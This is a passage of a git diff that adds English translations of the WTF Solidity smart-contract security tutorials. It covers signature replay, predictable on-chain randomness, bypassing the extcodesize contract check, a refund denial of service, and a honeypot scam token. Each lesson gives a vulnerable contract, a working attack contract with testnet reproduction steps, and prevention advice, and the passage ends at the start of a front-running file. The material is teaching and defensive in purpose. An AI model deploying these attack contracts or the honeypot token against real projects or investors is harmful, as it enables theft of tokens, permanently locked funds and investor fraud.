in the Remix deployment panel to sign the message using the private key. + +![](./img/S06-4.png) + +**4.** Repeatedly call `badMint` to perform signature replay attacks and mint a large amount of tokens. + +![](./img/S06-5.png) + +## How to Prevent + +There are two main methods to prevent signature replay attacks: + +1. Keep a record of used signatures, such as recording the addresses that have already minted tokens in the `mintedAddress` mapping, to prevent the reuse of signatures: + + ```solidity + mapping(address => bool) public mintedAddress; // Records addresses that have already minted + + function goodMint(address to, uint amount, bytes memory signature) public { + bytes32 _msgHash = toEthSignedMessageHash(getMessageHash(to, amount)); + require(verify(_msgHash, signature), "Invalid Signer!"); + // Check if the address has already minted + require(!mintedAddress[to], "Already minted"); + // Record the address minted + mintedAddress[to] = true; + _mint(to, amount); + } + ``` + +2. Include `nonce` (incremented for each transaction) and `chainid` (chain ID) in the signed message to prevent both regular replay and cross-chain replay attacks: + + ```solidity + uint nonce; + + function nonceMint(address to, uint amount, bytes memory signature) public { + bytes32 _msgHash = toEthSignedMessageHash(keccak256(abi.encodePacked(to, amount, nonce, block.chainid))); + require(verify(_msgHash, signature), "Invalid Signer!"); + _mint(to, amount); + nonce++; + } + ``` + +## Summary + +In this lesson, we discussed the signature replay vulnerability in smart contracts and introduced two methods to prevent: + +1. Keep a record of used signatures to prevent their reuse. + +2. Include `nonce` and `chainid` in the signed message. diff --git a/Languages/en/S07_BadRandomness_en/BadRandomness.sol b/Languages/en/S07_BadRandomness_en/BadRandomness.sol new file mode 100644 index 000000000..21794c327 --- /dev/null +++ b/Languages/en/S07_BadRandomness_en/BadRandomness.sol @@ -0,0 +1,32 @@ +// SPDX-License-Identifier: MIT +// By 0xAA +// english translation by 22X +pragma solidity ^0.8.21; +import "../34_ERC721/ERC721.sol"; + +contract BadRandomness is ERC721 { + uint256 totalSupply; + + // Constructor, initializes the name and symbol of the NFT collection + constructor() ERC721("", ""){} + + // Mint function: can only mint when the input luckyNumber is equal to the random number + function luckyMint(uint256 luckyNumber) external { + uint256 randomNumber = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))) % 100; // get bad random number + require(randomNumber == luckyNumber, "Better luck next time!"); + + _mint(msg.sender, totalSupply); // mint + totalSupply++; + } +} + +contract Attack { + function attackMint(BadRandomness nftAddr) external { + // Pre-calculate the random number + uint256 luckyNumber = uint256( + keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)) + ) % 100; + // Attack using the luckyNumber + nftAddr.luckyMint(luckyNumber); + } +} diff --git a/Languages/en/S07_BadRandomness_en/img/S07-1.png b/Languages/en/S07_BadRandomness_en/img/S07-1.png new file mode 100644 index 000000000..2ca9bcab7 Binary files /dev/null and b/Languages/en/S07_BadRandomness_en/img/S07-1.png differ diff --git a/Languages/en/S07_BadRandomness_en/readme.md b/Languages/en/S07_BadRandomness_en/readme.md new file mode 100644 index 000000000..2493c19c6 --- /dev/null +++ b/Languages/en/S07_BadRandomness_en/readme.md @@ -0,0 +1,93 @@ +--- +title: S07. Bad Randomness +tags: + - solidity + - security + - random +--- + +# WTF Solidity S07. Bad Randomness + +Recently, I have been revisiting Solidity, consolidating the finer details, and writing "WTF Solidity" tutorials for newbies. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +English translations by: [@to_22X](https://twitter.com/to_22X) + +----- + +In this lesson, we will discuss the Bad Randomness vulnerability in smart contracts and methods to prevent. This vulnerability is commonly found in NFT and GameFi projects, including Meebits, Loots, Wolf Game, etc. + +## Pseudorandom Numbers + +Many applications on Ethereum require the use of random numbers, such as randomly assigning `tokenId` for NFTs, opening loot boxes, and determining outcomes in GameFi battles. However, due to the transparency and determinism of all data on Ethereum, it does not provide a built-in method for generating random numbers like other programming languages do with `random()`. As a result, many projects have to rely on on-chain pseudorandom number generation methods, such as `blockhash()` and `keccak256()`. + +Bad Randomness vulnerability: Attackers can pre-calculate the results of these pseudorandom numbers, allowing them to achieve their desired outcomes, such as minting any rare NFT they want instead of a random selection. For more information, you can read [WTF Solidity 39: Pseudo-random Numbers](https://github.com/AmazingAng/WTF-Solidity/tree/main/39_Random). + +![](./img/S07-1.png) + +## Bad Randomness Example + +Now let's learn about an NFT contract with the Bad Randomness vulnerability: BadRandomness.sol. + +```solidity +contract BadRandomness is ERC721 { + uint256 totalSupply; + + // Constructor, initializes the name and symbol of the NFT collection + constructor() ERC721("", ""){} + + // Mint function: can only mint when the input luckyNumber is equal to the random number + function luckyMint(uint256 luckyNumber) external { + uint256 randomNumber = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))) % 100; // get bad random number + require(randomNumber == luckyNumber, "Better luck next time!"); + + _mint(msg.sender, totalSupply); // mint + totalSupply++; + } +} +``` + +It has a main minting function called `luckyMint()`, where users input a number between `0-99`. If the input number matches the pseudorandom number `randomNumber` generated on the blockchain, the user can mint a lucky NFT. The pseudorandom number is claimed to be generated using `blockhash` and `block.timestamp`. The vulnerability lies in the fact that users can perfectly predict the generated random number and mint NFTs. + +Now let's write an attack contract called `Attack.sol`. + +```solidity +contract Attack { + function attackMint(BadRandomness nftAddr) external { + // Pre-calculate the random number + uint256 luckyNumber = uint256( + keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)) + ) % 100; + // Attack using the luckyNumber + nftAddr.luckyMint(luckyNumber); + } +} +``` + +The parameter in the attack function `attackMint()` is the address of the `BadRandomness` contract. In it, we calculate the random number `luckyNumber` and pass it as a parameter to the `luckyMint()` function to complete the attack. Since `attackMint()` and `luckyMint()` are called in the same block, the `blockhash` and `block.timestamp` are the same, resulting in the same random number generated using them. + +## Reproduce on `Remix` + +Since the Remix VM does not support the `blockhash` function, you need to deploy the contract to an Ethereum testnet for reproduction. + +1. Deploy the `BadRandomness` contract. + +2. Deploy the `Attack` contract. + +3. Pass the address of the `BadRandomness` contract as a parameter to the `attackMint()` function of the `Attack` contract and call it to complete the attack. + +4. Call the `balanceOf` function of the `BadRandomness` contract to check the NFT balance of the `Attack` contract and confirm the success of the attack. + +## How to Prevent + +To prevent such vulnerabilities, we often use off-chain random numbers provided by oracle projects, such as Chainlink VRF. These random numbers are generated off-chain and then uploaded to the blockchain, ensuring that the numbers are unpredictable. For more information, you can read [WTF Solidity 39: Pseudo-random Numbers](https://github.com/AmazingAng/WTF-Solidity/tree/main/39_Random). + +## Summary + +In this lesson, we introduced the Bad Randomness vulnerability and discussed a simple method to prevent it: using off-chain random numbers provided by oracle projects. NFT and GameFi projects should avoid using on-chain pseudorandom numbers for lotteries to prevent exploitation by hackers. + diff --git a/Languages/en/S08_ContractCheck_en/ContractCheck.sol b/Languages/en/S08_ContractCheck_en/ContractCheck.sol new file mode 100644 index 000000000..9e0af5117 --- /dev/null +++ b/Languages/en/S08_ContractCheck_en/ContractCheck.sol @@ -0,0 +1,48 @@ +// SPDX-License-Identifier: MIT +// english translation by 22X +pragma solidity ^0.8.21; +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; + +// Check if an address is a contract using extcodesize +contract ContractCheck is ERC20 { + // Constructor: Initialize token name and symbol + constructor() ERC20("", "") {} + + // Use extcodesize to check if it's a contract + function isContract(address account) public view returns (bool) { + // Addresses with extcodesize > 0 are definitely contract addresses + // However, during contract construction, extcodesize is 0 + uint size; + assembly { + size := extcodesize(account) + } + return size > 0; + } + + // mint function, only callable by non-contract addresses (vulnerable) + function mint() public { + require(!isContract(msg.sender), "Contract not allowed!"); + _mint(msg.sender, 100); + } +} + +// Attack using constructor's behavior +contract NotContract { + bool public isContract; + address public contractCheck; + + // When the contract is being created, extcodesize (code length) is 0, so it won't be detected by isContract(). + constructor(address addr) { + contractCheck = addr; + isContract = ContractCheck(addr).isContract(address(this)); + // This will work + for(uint i; i < 10; i++){ + ContractCheck(addr).mint(); + } + } + + // After the contract is created, extcodesize > 0, isContract() can detect it + function mint() external { + ContractCheck(contractCheck).mint(); + } +} diff --git a/Languages/en/S08_ContractCheck_en/img/S08-1.png b/Languages/en/S08_ContractCheck_en/img/S08-1.png new file mode 100644 index 000000000..75e8ef5ad Binary files /dev/null and b/Languages/en/S08_ContractCheck_en/img/S08-1.png differ diff --git a/Languages/en/S08_ContractCheck_en/readme.md b/Languages/en/S08_ContractCheck_en/readme.md new file mode 100644 index 000000000..ad11885ca --- /dev/null +++ b/Languages/en/S08_ContractCheck_en/readme.md @@ -0,0 +1,124 @@ +--- +title: S08. Contract Check Bypassing +tags: + - solidity + - security + - constructor +--- + +# WTF Solidity S08. Contract Length Check Bypassing + +Recently, I have been revisiting Solidity, consolidating the finer details, and writing "WTF Solidity" tutorials for newbies. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +English translations by: [@to_22X](https://twitter.com/to_22X) + +----- + +In this lesson, we will discuss contract length checks bypassing and introduce how to prevent it. + +## Bypassing Contract Check + +Many free-mint projects use the `isContract()` method to restrict programmers/hackers and limit the caller `msg.sender` to external accounts (EOA) rather than contracts. This function uses `extcodesize` to retrieve the bytecode length (runtime) stored at the address. If the length is greater than 0, it is considered a contract; otherwise, it is an EOA (user). + +```solidity + // Use extcodesize to check if it's a contract + function isContract(address account) public view returns (bool) { + // Addresses with extcodesize > 0 are definitely contract addresses + // However, during contract construction, extcodesize is 0 + uint size; + assembly { + size := extcodesize(account) + } + return size > 0; + } +``` + +Here is a vulnerability where the `runtime bytecode` is not yet stored at the address when the contract is being created, so the `bytecode` length is 0. This means that if we write the logic in the constructor of the contract, we can bypass the `isContract()` check. + +![](./img/S08-1.png) + +## Vulnerability Example + +Let's take a look at an example: The `ContractCheck` contract is a free-mint ERC20 contract, and the `mint()` function uses the `isContract()` function to prevent calls from contract addresses, preventing hackers from minting tokens in batch. Each call to `mint()` can mint 100 tokens. + +```solidity +// Check if an address is a contract using extcodesize +contract ContractCheck is ERC20 { + // Constructor: Initialize token name and symbol + constructor() ERC20("", "") {} + + // Use extcodesize to check if it's a contract + function isContract(address account) public view returns (bool) { + // Addresses with extcodesize > 0 are definitely contract addresses + // However, during contract construction, extcodesize is 0 + uint size; + assembly { + size := extcodesize(account) + } + return size > 0; + } + + // mint function, only callable by non-contract addresses (vulnerable) + function mint() public { + require(!isContract(msg.sender), "Contract not allowed!"); + _mint(msg.sender, 100); + } +} +``` + +We will write an attack contract that calls the `mint()` function multiple times in the `constructor` to mint `1000` tokens in batch: + +```solidity +// Attack using constructor's behavior +contract NotContract { + bool public isContract; + address public contractCheck; + + // When the contract is being created, extcodesize (code length) is 0, so it won't be detected by isContract(). + constructor(address addr) { + contractCheck = addr; + isContract = ContractCheck(addr).isContract(address(this)); + // This will work + for(uint i; i < 10; i++){ + ContractCheck(addr).mint(); + } + } + + // After the contract is created, extcodesize > 0, isContract() can detect it + function mint() external { + ContractCheck(contractCheck).mint(); + } +} +``` + +If what we mentioned earlier is correct, calling `mint()` in the constructor can bypass the `isContract()` check and successfully mint tokens. In this case, the function will be deployed successfully and the state variable `isContract` will be assigned `false` in the constructor. However, after the contract is deployed, the runtime bytecode is stored at the contract address, `extcodesize > 0`, and `isContract()` can successfully prevent minting, causing the `mint()` function to fail. + +## Reproduce on `Remix` + +1. Deploy the `ContractCheck` contract. + +2. Deploy the `NotContract` contract with the `ContractCheck` contract address as the parameter. + +3. Call the `balanceOf` function of the `ContractCheck` contract to check that the token balance of the `NotContract` contract is `1000`, indicating a successful attack. + +4. Call the `mint()` function of the `NotContract` contract. Since the contract has already been deployed, calling the `mint()` function will fail. + +## How to Prevent + +You can use `(tx.origin == msg.sender)` to check if the caller is a contract. If the caller is an EOA, `tx.origin` and `msg.sender` will be equal; if they are not equal, the caller is a contract. + +``` +function realContract(address account) public view returns (bool) { + return (tx.origin == msg.sender); +} +``` + +## Summary + +In this lecture, we introduced a vulnerability where the contract length check can be bypassed, and we discussed methods to prevent it. If the `extcodesize` of an address is greater than 0, then the address is definitely a contract. However, if `extcodesize` is 0, the address could be either an externally owned account (`EOA`) or a contract in the process of being created. \ No newline at end of file diff --git a/Languages/en/S09_DoS_en/DoS.sol b/Languages/en/S09_DoS_en/DoS.sol new file mode 100644 index 000000000..d2346c775 --- /dev/null +++ b/Languages/en/S09_DoS_en/DoS.sol @@ -0,0 +1,52 @@ +// SPDX-License-Identifier: MIT +// english translation by 22X +pragma solidity ^0.8.21; + +// Game with DoS vulnerability, players deposit money and call refund to withdraw it after the game ends. +contract DoSGame { + bool public refundFinished; + mapping(address => uint256) public balanceOf; + address[] public players; + + // All players deposit ETH into the contract + function deposit() external payable { + require(!refundFinished, "Game Over"); + require(msg.value > 0, "Please donate ETH"); + // Record the deposit + balanceOf[msg.sender] = msg.value; + // Record the player's address + players.push(msg.sender); + } + + // Game ends, refund starts, all players receive refunds one by one + function refund() external { + require(!refundFinished, "Game Over"); + uint256 pLength = players.length; + // Loop through all players to refund them + for(uint256 i; i < pLength; i++){ + address player = players[i]; + uint256 refundETH = balanceOf[player]; + (bool success, ) = player.call{value: refundETH}(""); + require(success, "Refund Fail!"); + balanceOf[player] = 0; + } + refundFinished = true; + } + + function balance() external view returns(uint256){ + return address(this).balance; + } +} + +contract Attack { + // DoS attack during refund + fallback() external payable{ + revert("DoS Attack!"); + } + + // Participate in the DoS game and deposit + function attack(address gameAddr) external payable { + DoSGame dos = DoSGame(gameAddr); + dos.deposit{value: msg.value}(); + } +} \ No newline at end of file diff --git a/Languages/en/S09_DoS_en/img/S09-1.png b/Languages/en/S09_DoS_en/img/S09-1.png new file mode 100644 index 000000000..de62818ab Binary files /dev/null and b/Languages/en/S09_DoS_en/img/S09-1.png differ diff --git a/Languages/en/S09_DoS_en/img/S09-2.png b/Languages/en/S09_DoS_en/img/S09-2.png new file mode 100644 index 000000000..2e207d274 Binary files /dev/null and b/Languages/en/S09_DoS_en/img/S09-2.png differ diff --git a/Languages/en/S09_DoS_en/img/S09-3.jpg b/Languages/en/S09_DoS_en/img/S09-3.jpg new file mode 100644 index 000000000..176c41441 Binary files /dev/null and b/Languages/en/S09_DoS_en/img/S09-3.jpg differ diff --git a/Languages/en/S09_DoS_en/img/S09-4.jpg b/Languages/en/S09_DoS_en/img/S09-4.jpg new file mode 100644 index 000000000..234387fff Binary files /dev/null and b/Languages/en/S09_DoS_en/img/S09-4.jpg differ diff --git a/Languages/en/S09_DoS_en/img/S09-5.jpg b/Languages/en/S09_DoS_en/img/S09-5.jpg new file mode 100644 index 000000000..39f70bc7b Binary files /dev/null and b/Languages/en/S09_DoS_en/img/S09-5.jpg differ diff --git a/Languages/en/S09_DoS_en/readme.md b/Languages/en/S09_DoS_en/readme.md new file mode 100644 index 000000000..27ff8d1ef --- /dev/null +++ b/Languages/en/S09_DoS_en/readme.md @@ -0,0 +1,129 @@ +--- +title: S09. Denial of Service (DoS) +tags: + - solidity + - security + - fallback +--- + +# WTF Solidity S09. Denial of Service (DoS) + +Recently, I have been revisiting Solidity, consolidating the finer details, and writing "WTF Solidity" tutorials for newbies. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +English translations by: [@to_22X](https://twitter.com/to_22X) + +--- + +In this lesson, we will introduce the Denial of Service (DoS) vulnerability in smart contracts and discuss methods for prevention. The NFT project Akutar once suffered a loss of 11,539 ETH, worth $34 million at the time, due to a DoS vulnerability. + +## DoS + +In Web2, a Denial of Service (DoS) attack refers to the phenomenon of overwhelming a server with a large amount of junk or disruptive information, rendering it unable to serve legitimate users. In Web3, it refers to exploiting vulnerabilities that prevent a smart contract from functioning properly. + +In April 2022, a popular NFT project called Akutar raised 11,539.5 ETH through a Dutch auction for its public launch, achieving great success. Participants who held their community Pass were supposed to receive a refund of 0.5 ETH. However, when they attempted to process the refunds, they discovered that the smart contract was unable to function correctly, resulting in all funds being permanently locked in the contract. Their smart contract had a DoS vulnerability. + +![](./img/S09-1.png) + +## Vulnerability Example + +Now let's study a simplified version of the Akutar contract called `DoSGame`. This contract has a simple logic: when the game starts, players call the `deposit()` function to deposit funds into the contract, and the contract records the addresses of all players and their corresponding deposits. When the game ends, the `refund()` function is called to refund ETH to all players in sequence. + +```solidity +// SPDX-License-Identifier: MIT +// english translation by 22X +pragma solidity ^0.8.21; + +// Game with DoS vulnerability, players deposit money and call refund to withdraw it after the game ends. +contract DoSGame { + bool public refundFinished; + mapping(address => uint256) public balanceOf; + address[] public players; + + // All players deposit ETH into the contract + function deposit() external payable { + require(!refundFinished, "Game Over"); + require(msg.value > 0, "Please donate ETH"); + // Record the deposit + balanceOf[msg.sender] = msg.value; + // Record the player's address + players.push(msg.sender); + } + + // Game ends, refund starts, all players receive refunds one by one + function refund() external { + require(!refundFinished, "Game Over"); + uint256 pLength = players.length; + // Loop through all players to refund them + for(uint256 i; i < pLength; i++){ + address player = players[i]; + uint256 refundETH = balanceOf[player]; + (bool success, ) = player.call{value: refundETH}(""); + require(success, "Refund Fail!"); + balanceOf[player] = 0; + } + refundFinished = true; + } + + function balance() external view returns(uint256){ + return address(this).balance; + } +} +``` + +The vulnerability here lies in the `refund()` function, where a loop is used to refund the players using the `call` function, which triggers the fallback function of the target address. If the target address is a malicious contract and contains malicious logic in its fallback function, the refund process will not be executed properly. + +``` +(bool success, ) = player.call{value: refundETH}(""); +``` + +Below, we write an attack contract where the `attack()` function calls the `deposit()` function of the `DoSGame` contract to deposit funds and participate in the game. The `fallback()` fallback function reverts all transactions sending ETH to this contract, attacking the DoS vulnerability in the `DoSGame` contract. As a result, all refunds cannot be executed properly, and the funds are locked in the contract, just like the over 11,000 ETH in the Akutar contract. + +```solidity +contract Attack { + // DoS attack during refund + fallback() external payable{ + revert("DoS Attack!"); + } + + // Participate in the DoS game and deposit + function attack(address gameAddr) external payable { + DoSGame dos = DoSGame(gameAddr); + dos.deposit{value: msg.value}(); + } +} +``` + +## Reproduce on `Remix` + +**1.** Deploy the `DoSGame` contract. +**2.** Call the `deposit()` function of the `DoSGame` contract to make a deposit and participate in the game. +![](./img/S09-2.png) +**3.** At this point, if the game is over and `refund()` is called, the refund will be executed successfully. +![](./img/S09-3.jpg) +**3.** Redeploy the `DoSGame` contract and deploy the `Attack` contract. +**4.** Call the `attack()` function of the `Attack` contract to make a deposit and participate in the game. +![](./img/S09-4.jpg) +**5.** Call the `refund()` function of the `DoSGame` contract to initiate a refund, but it fails to execute properly, indicating a successful attack. +![](./img/S09-5.jpg) + +## How to Prevent + +Many logic errors can lead to denial of service in smart contracts, so developers need to be extremely cautious when writing smart contracts. Here are some areas that require special attention: + +1. Failure of external contract function calls (e.g., `call`) should not result in the blocking of important functionality. For example, removing the `require(success, "Refund Fail!");` statement in the vulnerable contract allows the refund process to continue even if a single address fails. +2. Contracts should not unexpectedly self-destruct. +3. Contracts should not enter infinite loops. +4. Parameters for `require` and `assert` should be set correctly. +5. When refunding, allow users to claim funds from the contract (push) instead of sending funds to users in batch (pull). +6. Ensure that callback functions do not interfere with the normal operation of the contract. +7. Ensure that the main business of the contract can still function properly even when participants (e.g., `owner`) are absent. + +## Summary + +In this lesson, we introduced the denial of service vulnerability in smart contracts, which caused the Akutar project to lose over 10,000 ETH. Many logic errors can lead to DoS attacks, so developers need to be extremely cautious when writing smart contracts. For example, refunds should be claimed by users individually instead of being sent in batch by the contract. diff --git a/Languages/en/S10_Honeypot_en/Honeypot.sol b/Languages/en/S10_Honeypot_en/Honeypot.sol new file mode 100644 index 000000000..28dd30a60 --- /dev/null +++ b/Languages/en/S10_Honeypot_en/Honeypot.sol @@ -0,0 +1,49 @@ +// SPDX-License-Identifier: MIT +// english translation by 22X +pragma solidity ^0.8.21; + +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import "@openzeppelin/contracts/access/Ownable.sol"; + +// Simple Honeypot ERC20 token, can only be bought, not sold +contract HoneyPot is ERC20, Ownable { + address public pair; + // Constructor: Initialize token name and symbol + constructor() ERC20("HoneyPot", "Pi Xiu") { + address factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; // goerli uniswap v2 factory + address tokenA = address(this); // Honeypot token address + address tokenB = 0xB4FBF271143F4FBf7B91A5ded31805e42b2208d6; // goerli WETH + (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); // Sort tokenA and tokenB in ascending order + bytes32 salt = keccak256(abi.encodePacked(token0, token1)); + // calculate pair address + pair = address(uint160(uint(keccak256(abi.encodePacked( + hex'ff', + factory, + salt, + hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' + ))))); + } + + /** + * Mint function, can only be called by the contract owner + */ + function mint(address to, uint amount) public onlyOwner { + _mint(to, amount); + } + + /** + * @dev See {ERC20-_beforeTokenTransfer}. + * Honeypot function: Only the contract owner can sell + */ + function _beforeTokenTransfer( + address from, + address to, + uint256 amount + ) internal virtual override { + super._beforeTokenTransfer(from, to, amount); + // Revert if the transfer target address is the LP contract + if(to == pair){ + require(from == owner(), "Can not Transfer"); + } + } +} \ No newline at end of file diff --git a/Languages/en/S10_Honeypot_en/img/S10-1.png b/Languages/en/S10_Honeypot_en/img/S10-1.png new file mode 100644 index 000000000..f78eae22a Binary files /dev/null and b/Languages/en/S10_Honeypot_en/img/S10-1.png differ diff --git a/Languages/en/S10_Honeypot_en/img/S10-2.png b/Languages/en/S10_Honeypot_en/img/S10-2.png new file mode 100644 index 000000000..b85e24260 Binary files /dev/null and b/Languages/en/S10_Honeypot_en/img/S10-2.png differ diff --git a/Languages/en/S10_Honeypot_en/img/S10-3.png b/Languages/en/S10_Honeypot_en/img/S10-3.png new file mode 100644 index 000000000..553d28ce6 Binary files /dev/null and b/Languages/en/S10_Honeypot_en/img/S10-3.png differ diff --git a/Languages/en/S10_Honeypot_en/img/S10-4.png b/Languages/en/S10_Honeypot_en/img/S10-4.png new file mode 100644 index 000000000..a92584f40 Binary files /dev/null and b/Languages/en/S10_Honeypot_en/img/S10-4.png differ diff --git a/Languages/en/S10_Honeypot_en/img/S10-5.png b/Languages/en/S10_Honeypot_en/img/S10-5.png new file mode 100644 index 000000000..556a31e2a Binary files /dev/null and b/Languages/en/S10_Honeypot_en/img/S10-5.png differ diff --git a/Languages/en/S10_Honeypot_en/img/S10-6.png b/Languages/en/S10_Honeypot_en/img/S10-6.png new file mode 100644 index 000000000..07daf3882 Binary files /dev/null and b/Languages/en/S10_Honeypot_en/img/S10-6.png differ diff --git a/Languages/en/S10_Honeypot_en/img/S10-7.png b/Languages/en/S10_Honeypot_en/img/S10-7.png new file mode 100644 index 000000000..a46a31b4a Binary files /dev/null and b/Languages/en/S10_Honeypot_en/img/S10-7.png differ diff --git a/Languages/en/S10_Honeypot_en/readme.md b/Languages/en/S10_Honeypot_en/readme.md new file mode 100644 index 000000000..9977f3c1a --- /dev/null +++ b/Languages/en/S10_Honeypot_en/readme.md @@ -0,0 +1,135 @@ +--- +title: S10. Honeypot / Pixiu +tags: + - solidity + - security + - erc20 + - swap +--- + +# WTF Solidity S10. Honeypot / Pixiu + +Recently, I have been revisiting Solidity, consolidating the finer details, and writing "WTF Solidity" tutorials for newbies. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy\_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +English translations by: [@to_22X](https://twitter.com/to_22X) + +--- + +In this lesson, we will introduce the Pixiu contract and stay away from Pixiu tokens. + +> Note: In English, a "Pixiu" token is usually referred to as a "Honeypot" token. In the following sections, we will use the term "Pixiu" to refer to honeypot tokens. + +## Introduction to Pixiu + +[Pixiu](https://en.wikipedia.org/wiki/Pixiu) is a mythical creature in Chinese culture. In Web3, Pixiu has transformed into an unknown beast and become the nemesis of investors. The characteristics of a Pixiu scam are that investors can only buy tokens and the project owner is the only one who can sell. + +Typically, a Pixiu scam follows the following lifecycle: + +1. Malicious project owner deploys the Pixiu token contract. +2. Promote the Pixiu token to retail investors, and due to the inability to sell, the token price keeps rising. +3. The project owner performs a "rug pull" and runs away with the funds. + +![](./img/S10-1.png) + +Understanding the principles of the Pixiu contract is essential for identifying and avoiding being scammed, allowing you to become a resilient investor! + +## The Pixiu Contract + +Here, we introduce a simple ERC20 token contract called `Pixiu`. In this contract, only the contract owner can sell the tokens on Uniswap, while other addresses cannot. + +`Pixiu` has a state variable called `pair`, which records the address of the `Pixiu-ETH LP` pair on Uniswap. It mainly consists of three functions: + +1. Constructor: Initializes the token's name and symbol, and calculates the LP contract address based on the principles of Uniswap and `create2`. For more details, you can refer to [WTF Solidity 25: Create2](https://github.com/AmazingAng/WTF-Solidity/blob/main/Languages/en/25_Create2_en/readme.md). This address will be used in the `_beforeTokenTransfer()` function. +2. `mint()`: A minting function that can only be called by the `owner` address to mint `Pixiu` tokens. +3. `_beforeTokenTransfer()`: A function called before an ERC20 token transfer. In this function, we restrict the transfer when the destination address `to` is the LP address, which represents selling by investors. The transaction will `revert` unless the caller is the `owner`. This is the core of the Pixiu contract. + +```solidity +// Simple Honeypot ERC20 token, can only be bought, not sold +contract HoneyPot is ERC20, Ownable { + address public pair; + // Constructor: Initialize token name and symbol + constructor() ERC20("HoneyPot", "Pi Xiu") { + address factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; // goerli uniswap v2 factory + address tokenA = address(this); // Honeypot token address + address tokenB = 0xB4FBF271143F4FBf7B91A5ded31805e42b2208d6; // goerli WETH + (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); // Sort tokenA and tokenB in ascending order + bytes32 salt = keccak256(abi.encodePacked(token0, token1)); + // calculate pair address + pair = address(uint160(uint(keccak256(abi.encodePacked( + hex'ff', + factory, + salt, + hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' + ))))); + } + + /** + * Mint function, can only be called by the contract owner + */ + function mint(address to, uint amount) public onlyOwner { + _mint(to, amount); + } + + /** + * @dev See {ERC20-_beforeTokenTransfer}. + * Honeypot function: Only the contract owner can sell + */ + function _beforeTokenTransfer( + address from, + address to, + uint256 amount + ) internal virtual override { + super._beforeTokenTransfer(from, to, amount); + // Revert if the transfer target address is the LP contract + if(to == pair){ + require(from == owner(), "Can not Transfer"); + } + } +} +``` + +## Reproduce on `Remix` + +We will deploy the `Pixiu` contract on the `Goerli` testnet and demonstrate it on the `uniswap` exchange. + +1. Deploy the `Pixiu` contract. + ![](./img/S10-2.png) + +2. Call the `mint()` function to mint `100000` Pixiu tokens for yourself. + ![](./img/S10-3.png) + +3. Go to the [uniswap](https://app.uniswap.org/#/add/v2/ETH) exchange, create liquidity for Pixiu tokens (v2), and provide `10000` Pixiu tokens and `0.1` ETH. + ![](./img/S10-4.png) + +4. Sell `100` Pixiu tokens, the operation is successful. + ![](./img/S10-5.png) + +5. Switch to another account and buy Pixiu tokens with `0.01` ETH, the operation is successful. + ![](./img/S10-6.png) + +6. When selling Pixiu tokens, the transaction cannot be executed. + ![](./img/S10-7.png) + +## How to Prevent + +Pixiu tokens are the most common scam that retail investors encounter on the blockchain, and they come in various forms, making prevention very difficult. We have the following suggestions to reduce the risk of falling victim to Pixiu scams: + +1. Check if the contract is open source on a blockchain explorer (e.g., [etherscan](https://etherscan.io/)). If it is open source, analyze its code for Pixiu vulnerabilities. + +2. If you don't have programming skills, you can use Pixiu identification tools such as [Token Sniffer](https://tokensniffer.com/) and [Ave Check](https://ave.ai/check). If the score is low, it is likely to be a Pixiu token. + +3. Look for audit reports of the project. + +4. Carefully examine the project's official website and social media. + +5. Only invest in projects you understand and do thorough research (DYOR). + +## Conclusion + +In this lesson, we introduced the Pixiu contract and methods to prevent falling victim to Pixiu scams. Pixiu scams are a common experience for retail investors, and we all despise them. Additionally, there have been Pixiu NFTs recently, where malicious project owners modify the transfer or approval functions of ERC721 tokens, preventing ordinary investors from selling them. Understanding the principles of the Pixiu contract and how to prevent can significantly reduce the chances of encountering Pixiu scams, making your funds more secure. Keep learning and stay safe. diff --git a/Languages/en/S11_Frontrun_en/Frontrun.sol b/Languages/en/S11_Frontrun_en/Frontrun.sol new file mode 100644 index 000000000..b6829b522 --- /dev/null +++ b/Languages/en/S11_Frontrun_en/Frontrun.sol @@ -0,0 +1,19 